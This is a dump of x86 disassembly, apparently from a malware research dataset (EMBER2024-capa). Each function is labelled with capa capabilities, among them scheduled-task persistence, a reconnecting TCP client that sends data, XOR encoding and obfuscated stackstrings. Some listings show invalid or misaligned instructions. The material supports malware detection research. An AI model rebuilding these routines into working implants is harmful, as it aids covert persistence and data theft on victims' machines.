joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a4e0
Capabilities:
Schedule task via itaskscheduler

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448d10
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x461014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
add eax, ecx
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.00417e70
mov byte [ebp - 4], 1
lea esi, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
push 0
cmovae esi, dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x40a577
lea eax, [ebp - 0x2c]
push eax
push 0x458280
push 1
push 0
push 0x458270
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x40a5f7
call dword [sym.imp.ole32.dll_CoUninitialize]
xor esi, esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40a5b3
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a5a9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a67a
push edx
push ecx
call fcn.0041cfc8
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 0x10
jb 0x40a65e
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40a654
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a67a
jmp 0x40a654
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push 0x458304
push 0x457dd8
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x20]
test eax, eax
jns 0x40a577
cmp eax, 0x80070050
jne 0x40a577
mov eax, dword [ebp - 0x2c]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x40a644
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x40a577
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x40a579
push edx
push ecx
call fcn.0041cfc8
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041c951
mov esp, ebp
pop ebp
ret
call fcn.00436597
int3
Function at 0x40b330
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448e80
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x461014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
mov edx, dword [ebp + 0x1c]
mov eax, edx
mov ecx, dword [ebp + 0x18]
sub eax, ecx
cmp eax, 1
jb 0x40b387
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x18], eax
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov word [eax + ecx], 0
jmp 0x40b39c
push 0
push 1
mov byte [ebp - 0x34], 0
lea ecx, [ebp + 8]
push dword [ebp - 0x34]
push 1
call fcn.00418740
mov edx, dword [ebp + 0x34]
mov eax, edx
mov ecx, dword [ebp + 0x30]
sub eax, ecx
cmp eax, 1
jb 0x40b3c3
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x30], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov word [eax + ecx], 0
jmp 0x40b3d8
push 0
push 1
mov byte [ebp - 0x34], 0
lea ecx, [ebp + 0x20]
push dword [ebp - 0x34]
push 1
call fcn.00418740
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x16], 0
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x34], 0x10
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov dword [ebp - 0x24], eax
mov eax, 0x610
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x30]
push eax
movlpd qword [ebp - 0x1e], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 2
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
cmp edx, 0x10
jb 0x40b456
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40b44c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b4b4
push edx
push ecx
call fcn.0041cfc8
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x40b498
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40b48e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b4b4
push edx
push ecx
call fcn.0041cfc8
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041c951
mov esp, ebp
pop ebp
ret
call fcn.00436597
int3
Function at 0x40c4b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x461014]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x4654cc
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], ecx
call fcn.0041c00c
add esp, 4
test eax, eax
jne 0x40c5bb
mov ecx, dword [0x465480]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push esi
push edi
mov dword [ebp - 0xc], ecx
xor esi, esi
mov edi, 4
push 0
push edi
lea eax, [ebp - 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40c511
mov ecx, dword [ebp - 0xc]
add esi, eax
sub edi, eax
cmp esi, 4
jl 0x40c4f4
xor ecx, ecx
mov edi, 8
cmp eax, 0xffffffff
setne cl
dec ecx
xor esi, esi
mov dword [ebp - 0xc], ecx
mov ecx, dword [0x465480]
mov dword [ebp - 0x10], ecx
nop dword [eax]
push 0
push edi
lea eax, [ebp + 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40c54d
mov ecx, dword [ebp - 0x10]
add esi, eax
sub edi, eax
cmp esi, 8
jl 0x40c530
mov edi, dword [ebp - 0xc]
or ecx, 0xffffffff
cmp eax, ecx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
cmove edi, ecx
mov ecx, dword [0x465480]
xor esi, esi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x18], ecx
test eax, eax
jle 0x40c597
mov edi, eax
mov eax, dword [ebp - 0x14]
push 0
push edi
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40c594
mov ecx, dword [ebp - 0x18]
add esi, eax
sub edi, eax
cmp esi, dword [ebp - 0x10]
jl 0x40c572
mov edi, dword [ebp - 0xc]
jmp 0x40c597
or edi, 0xffffffff
push 0x4654cc
call fcn.0041c031
add esp, 4
test eax, eax
jne 0x40c5c1
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041c951
mov esp, ebp
pop ebp
ret
push eax
call fcn.0041bbca
push eax
call fcn.0041bbca
int3
Function at 0x40cc30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x20f8
call fcn.0041dab0
mov eax, dword [0x461014]
xor eax, esp
mov dword [esp + 0x20f4], eax
push esi
push edi
call fcn.00436e40
cmp dword [0x4620cc], 0x10
mov edi, eax
push 0xa
lea eax, [esp + 0x10]
mov esi, 0x4620b8
cmovae esi, dword [0x4620b8]
push eax
push esi
mov dword [edi], 0
call fcn.00438376
add esp, 0xc
cmp esi, dword [esp + 0xc]
je 0x40cdc4
cmp dword [edi], 0x22
je 0x40cdba
movzx edi, ax
lea eax, [esp + 0x28]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40cda3
cmp dword [0x4623e4], 0x10
xorps xmm0, xmm0
mov eax, 2
movaps xmmword [esp + 0x10], xmm0
mov esi, 0x4623d0
mov word [esp + 0x10], ax
cmovae esi, dword [0x4623d0]
push edi
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x14]
push eax
push esi
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x465480], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x40cd53
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
push 0xbb8
call edi
push dword [0x465480]
call esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x465480], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40cd20
lea ecx, [esp + 0x1b8]
call fcn.0040c990
cmp eax, 0xffffffff
je 0x40cda3
cmp byte [0x46537c], 1
je 0x40cd94
lea ecx, [esp + 0x1b8]
call fcn.0040c990
cmp eax, 0xffffffff
jne 0x40cd64
or eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x20f4]
xor ecx, esp
call fcn.0041c951
mov esp, ebp
pop ebp
ret
push dword [0x465480]
call esi
mov byte [0x46537c], 0
mov ecx, dword [esp + 0x20fc]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, esp
call fcn.0041c951
mov esp, ebp
pop ebp
ret
push str.stoi_argument_out_of_range
call fcn.0041bb39
push str.invalid_stoi_argument
call fcn.0041baf9
int3
Function at 0x416610
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4164b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x416540
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0x7530
call esi
jmp 0x416600
push ebp
mov ebp, esp
and esp, 0xfffffff8
call fcn.004096f0
mov ecx, 1
call fcn.0040b7e0
call fcn.0040c070
call fcn.004136e0
jmp 0x4165d0

Function at 0x41f4ed
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x42a3d6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call dword [eax + 0x56]
push dword [ebp + 8]
call fcn.00429f90
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00429fdb
push eax
push esi
push dword [ebp + 8]
call fcn.00429f90
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00429fcb
dec esi
dec edx
pushal
cmp eax, 0xff7c9d88
invalid

Function at 0x42a8bb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax - 0x3c35b], al
inc dword [eax]
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
cld
invalid
call dword [ebx]
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.00429fdb
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00429f90
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
invalid
movsd dword es:[edi], dword [esi]
pop ss
cld
invalid
Function at 0x42aec0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00429fa9
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
push dword [eax]

Function at 0x42b46f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop esp
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
invalid
invalid
test esi, ebx
clc
invalid

Function at 0x42bcd5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax - 0x7ab5b], al
inc dword [eax]
and byte [ebp - 0x7ab], 0
mov byte [ebp - 0x7aa], 0xed
in eax, dx
and byte [ebp - 0x7a9], 0
mov byte [ebp - 0x7a8], 0x4e
mov byte [ebp - 0x7a7], 0x55
mov byte [ebp - 0x7a6], 0x56
mov byte [ebp - 0x7a5], 0x7e
invalid
jle 0x42bcc0
test dword [eax + edi*8 - 1], ebx
jmp dword [ecx]
mov byte [ebp - 0x7a3], 0x20
mov byte [ebp - 0x7a2], 0x3c
mov byte [ebp - 0x7a1], 0x76
mov byte [ebp - 0x7a0], 0x7e
mov byte [ebp - 0x79f], 0x7e
mov byte [ebp - 0x79e], 0x12
push 0xb
lea eax, [ebp - 0x7ac]
push eax
call fcn.00429fdb
pop ecx
push eax
mov eax, dword [ebp - 0x338]
lea eax, [ebp + eax - 0x230]
push eax
call fcn.00429f3c
add esp, 0xc
jmp fcn.0042bf43
jle 0x42bcc0
test dword [eax + edi*8 - 1], ebx
jmp dword [ecx]

Function at 0x42c033
Capabilities:
Contain obfuscated stackstrings

Disassembly:
cmp dword [ebp - 0x3a4], 0
je 0x42c061
lea eax, [ebp - 0x714]
push eax
call fcn.00429fdb
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.00429f90
invalid
invalid
inc dword [ebx - 0x7a76f33c]
test ah, bh
invalid
invalid
cmp dword [ebp - 0x37c], 0
je 0x42c06c
jmp 0x42c071
jmp 0x42b96d
cmp dword [ebp - 0x37c], 0
jne 0x42c11b
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x7ec], eax
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x7e8], eax
and dword [ebp - 0x7e0], 0
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x7e4], eax
push dword [ebp - 0x7e4]
lea eax, [ebp - 0x7ec]
push eax
push dword [ebp - 0x748]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0042a1a7
add esp, 0x14
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 0
je 0x42c107
push dword [ebp + 0x1c]
push dword [ebp - 0xc]
push dword [ebp - 0x540]
Function at 0x4181b8
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x14
mov edx, dword [esp + 0x18]
test edx, edx
mov dword [esp + 4], esi
mov esi, dword [esp + 0x1c]
mov dword [esp], ebx
mov ebx, edx
mov dword [esp + 8], edi
mov dword [esp + 0x10], eax
je 0x4181df
cmp dword [esp + 0x1c], 0
jne 0x4181f2
mov ebx, dword [esp]
mov esi, dword [esp + 4]
mov edi, dword [esp + 8]
add esp, 0x14
xor eax, eax
ret 8
mov ecx, edx
and ecx, 3
shr ebx, 2
mov dword [esp + 0xc], ecx
mov eax, dword [esp + 0x10]
test ebx, ebx
je 0x418239
movzx edx, word [esi]
and edx, 0xffff
add eax, edx
mov ecx, eax
shl ecx, 0x10
movzx edx, word [esi + 2]
and edx, 0xffff
shl edx, 0xb
xor edx, eax
xor ecx, edx
mov eax, ecx
shr ecx, 0xb
add esi, 4
add eax, ecx
dec ebx
test ebx, ebx
jne 0x418209
mov ebx, dword [esp + 0xc]
cmp ebx, 1
je 0x41828d
cmp ebx, 2
je 0x418272
cmp ebx, 3
je 0x41824e
jmp 0x41829f
movzx edx, word [esi]
and edx, 0xffff
add eax, edx
mov ebx, eax
shl ebx, 0x10
movzx edi, byte [esi + 2]
shl edi, 0x12
xor ebx, edi
xor eax, ebx
mov ecx, eax
shr ecx, 0xb
add eax, ecx
jmp 0x41829f
movzx ebx, word [esi]
and ebx, 0xffff
add eax, ebx
mov edi, eax
shl edi, 0xb
xor eax, edi
mov ecx, eax
shr ecx, 0x11
add eax, ecx
jmp 0x41829f
movzx edi, byte [esi]
add eax, edi
mov ecx, eax
shl ecx, 0xa
xor eax, ecx
mov edx, eax
shr edx, 1
add eax, edx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
shl eax, 3
xor dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
shr edx, 5
add dword [esp + 0x10], edx
mov ebx, dword [esp + 0x10]
shl ebx, 4
xor dword [esp + 0x10], ebx
mov esi, dword [esp + 0x10]
shr esi, 0x11
add dword [esp + 0x10], esi
mov ecx, dword [esp + 0x10]
shl ecx, 0x19
xor dword [esp + 0x10], ecx
mov eax, dword [esp + 0x10]
shr eax, 6
add dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov ebx, dword [esp]
mov esi, dword [esp + 4]
mov edi, dword [esp + 8]
add esp, 0x14
ret 8
Function at 0x41a134
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x5c
xor ecx, ecx
mov dword [esp + 8], ebx
mov ebx, dword [esp + 0x60]
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
mov eax, dword [0x477da8]
cmp eax, ecx
js 0x41a166
cmp eax, 0x3c
jl 0x41a159
jmp 0x41a166
mov edx, dword [0x477da8]
mov ecx, dword [edx*4 + 0x477c3c]
lea eax, [esp + 0x44]
xor edx, edx
mov dword [esp + 0x34], ecx
push eax
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], edx
mov word [eax + 0x14], dx
push ecx
call sub.KERNEL32.DLL_GetConsoleScreenBufferInfo
test eax, eax
setne cl
mov byte [esp + 0x5a], cl
mov dword [esp + 4], 0x479e30
mov dword [esp], 0x477d98
call fcn.0045a640
test eax, eax
jg 0x41a27e
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
push ebx
lea edi, [esp + 0x28]
mov edx, fcn.0041a358
push edx
push edi
call fcn.0041c1f8
cmp dword [esp + 0x24], 0
je 0x41a326
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
test ebx, ebx
je 0x41a201
mov eax, dword [ebx]
mov ecx, dword [eax]
push dword [ecx + 0x14]
push dword [ecx + 0x10]
lea eax, [esp + 0x24]
call fcn.0041a358
mov esi, 0x479e34
push esi
call sub.KERNEL32.DLL_LoadLibraryW
mov ebx, eax
test eax, eax
je 0x41a25b
mov edx, 0x479e4c
push edx
push ebx
call sub.KERNEL32.DLL_GetProcAddress
test eax, eax
je 0x41a25b
cmp dword [esp + 0x24], 0
je 0x41a237
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
mov word [ecx + edi*2], 0
mov esi, dword [esp + 0x24]
cmp dword [esp + 0x1c], 0
je 0x41a250
mov edx, dword [esp + 0x20]
mov edi, dword [esp + 0x1c]
mov word [edi + edx*2], 0
push 0x10
push dword [esp + 0x20]
push esi
push 0
call eax
push ebx
call sub.KERNEL32.DLL_FreeLibrary
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call fcn.00459d94
mov ecx, dword [esp + 0x24]
mov dword [esp], ecx
call fcn.00459d94
jmp 0x41a326
cmp byte [esp + 0x5a], 0
je 0x41a336
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
push ebx
lea eax, [esp + 0x18]
mov ecx, fcn.0041a358
push ecx
push eax
call fcn.0041c1f8
cmp dword [esp + 0x14], 0
je 0x41a326
call sub.KERNEL32.DLL_GetConsoleOutputCP
mov dword [esp + 0x2c], eax
push 0
push 0
push 0
push 0
push dword [esp + 0x28]
push dword [esp + 0x28]
push 0
push eax
call sub.KERNEL32.DLL_WideCharToMultiByte
mov dword [esp + 0x30], eax
mov dword [esp], eax
call fcn.004599b0
mov ebx, eax
test eax, eax
je 0x41a31a
push 0
push 0
push dword [esp + 0x38]
push ebx
push dword [esp + 0x28]
push dword [esp + 0x28]
push 0
push dword [esp + 0x48]
call sub.KERNEL32.DLL_WideCharToMultiByte
push 0
push 0
push dword [esp + 0x38]
push ebx
push dword [esp + 0x44]
call sub.KERNEL32.DLL_WriteFile
mov dword [esp], ebx
call fcn.00459d94
mov ebx, dword [esp + 0x14]
mov dword [esp], ebx
call fcn.00459d94
mov ebx, dword [esp + 8]
mov esi, dword [esp + 0xc]
mov edi, dword [esp + 0x10]
add esp, 0x5c
ret
push ebx
mov edx, 0x41a408
xor esi, esi
push edx
push esi
call fcn.0041c1f8
mov ebx, dword [esp + 8]
mov esi, dword [esp + 0xc]
mov edi, dword [esp + 0x10]
add esp, 0x5c
ret
Function at 0x41ba68
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x14
mov dword [esp + 8], esi
mov esi, dword [esp + 0x18]
mov dword [esp + 4], ebx
mov dword [esp + 0x10], eax
mov eax, esi
call fcn.00421264
mov ebx, eax
mov byte [esp + 0xc], bl
and bl, byte [esp + 0x10]
push esi
push dword [esp + 0x10]
movzx eax, bl
call fcn.00421274
xor al, 1
jne 0x41ba7b
movzx eax, bl
mov ebx, dword [esp + 4]
mov esi, dword [esp + 8]
add esp, 0x14
ret 4

Function at 0x41d6d4
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x64
mov dword [esp], ebx
mov dword [esp + 4], esi
mov dword [esp + 8], edi
mov dword [esp + 0x60], eax
call fcn.0041d7e8
cmp eax, 0xffffffff
mov dword [esp + 0x44], eax
jne 0x41d6f6
ud2
lea eax, [esp + 0x4c]
mov ecx, 0xffffffff
mov edx, dword [esp + 0x68]
mov dword [eax], ecx
mov esi, dword [esp + 0x6c]
mov edi, dword [esp + 0x60]
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
xor ecx, ecx
mov dword [esp + 0x10], 0x41d6c0
mov dword [esp + 0xc], 0xe
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], 0x40a890
mov dword [esp + 0x1c], 1
push ecx
push edi
push eax
mov eax, 0xa
push 0x14
call fcn.00416d60
mov esi, dword [esp + 0x74]
xor ebx, ebx
mov dword [esp + 0x28], edx
mov edx, dword [esp + 0x70]
mov dword [esp + 0x24], eax
mov dword [esp + 0x30], 0x41d6d0
mov dword [esp + 0x2c], 2
mov dword [esp + 0x34], edx
mov dword [esp + 0x38], esi
mov eax, dword [esp + ebx*8 + 0xc]
mov edx, dword [esp + ebx*8 + 0x10]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], edx
push 0
push 0
push dword [esp + 0x44]
push dword [esp + 0x4c]
push dword [esp + 0x54]
call sub.KERNEL32.DLL_WriteFile
lea ecx, [ebx + 1]
mov eax, dword [esp + ecx*8 + 0xc]
mov dword [esp + 0x3c], eax
mov edx, dword [esp + ecx*8 + 0x10]
mov dword [esp + 0x40], edx
push 0
push 0
push dword [esp + 0x44]
push dword [esp + 0x4c]
push dword [esp + 0x54]
call sub.KERNEL32.DLL_WriteFile
add ebx, 2
cmp ebx, 6
jb 0x41d77c
call fcn.0045b9e8
mov ebx, dword [esp]
mov esi, dword [esp + 4]
mov edi, dword [esp + 8]
add esp, 0x64
ret 0x10

Function at 0x41d828
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x2c
mov ecx, 9
xor eax, eax
mov dword [esp + 4], edi
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea ecx, [esp + 8]
push ecx
call sub.KERNEL32.DLL_GetSystemInfo
mov edx, dword [esp + 0xc]
mov dword [0x47d9f4], edx
mov edi, dword [esp + 4]
add esp, 0x2c
ret
Function at 0x424028
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
mov edx, dword fs:[0]
push 0xffffffffffffffff
push 0x42419f
push edx
mov dword fs:[0], esp
sub esp, 0x24
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x18], eax
movsx ecx, byte [0x47d9ec]
mov byte [ebp - 0x1c], cl
mov byte [0x47d9ec], 1
mov dword [ebp - 4], 0
mov ebx, eax
mov edi, eax
add edi, 0xc
push edi
mov edx, 0x42f28c
mov esi, dword [eax + 0x24]
push 4
add ebx, 8
push eax
push edx
push esi
push 0
call fcn.0045c158
mov dword [ebx], eax
add esp, 0x18
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 8], 0
jne 0x4240a6
mov edx, 0x423ff8
mov ebx, 0x15
push edx
push ebx
call fcn.0042f240
mov eax, 0x47dc74
mov ebx, 0x47dc68
push eax
call sub.KERNEL32.DLL_EnterCriticalSection
mov dword [ebp - 4], 1
inc dword [0x47dcc8]
mov esi, dword [0x47dcc8]
shl esi, 2
push esi
push dword [0x47dcc4]
call fcn.0045b4ec
mov dword [0x47dcc4], eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [0x47dcc8]
lea ebx, [eax + edx*4]
mov dword [ebx - 4], ecx
add esp, 8
mov eax, dword [ebp - 0x18]
push dword [eax + 8]
call sub.KERNEL32.DLL_ResumeThread
cmp eax, 0xffffffff
jne 0x424113
mov ecx, 0x424010
mov esi, 0x15
push ecx
push esi
call fcn.0042f240
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0xc]
push eax
push 0xffffffffffffffff
push ecx
push 0x46d280
call fcn.004156d8
add esp, 0xc
pop eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ebx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret